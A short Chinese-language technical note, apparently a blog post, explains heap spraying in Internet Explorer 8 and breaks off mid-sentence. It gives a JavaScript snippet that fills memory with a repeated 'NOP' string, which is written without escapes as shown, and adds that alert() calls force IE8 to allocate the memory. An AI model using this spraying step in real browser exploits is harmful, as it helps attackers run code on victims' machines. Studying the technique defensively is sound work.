IE8的HeapSpray

JitSpray虽然才是更加可行的方式,但HeapSpray仍然是很好的学习材料。先不管DEP+ASLR等,IE8本身对堆内存分配也有一定的保护。
如下代码在IE6中可以马上分配大块内存,而在IE8中这一过程会被暂缓。

var nop="x90x90x90x90";
while(nop.length<1024*1024) nop+=nop;
var mem=new Array();
for (i=0;i<200;i++) mem[i]=nop;

为了让IE8能够分配堆,需要有显式操作。如alert

alert(mem[0].length); alert(mem[0]);

或者更为隐蔽的方法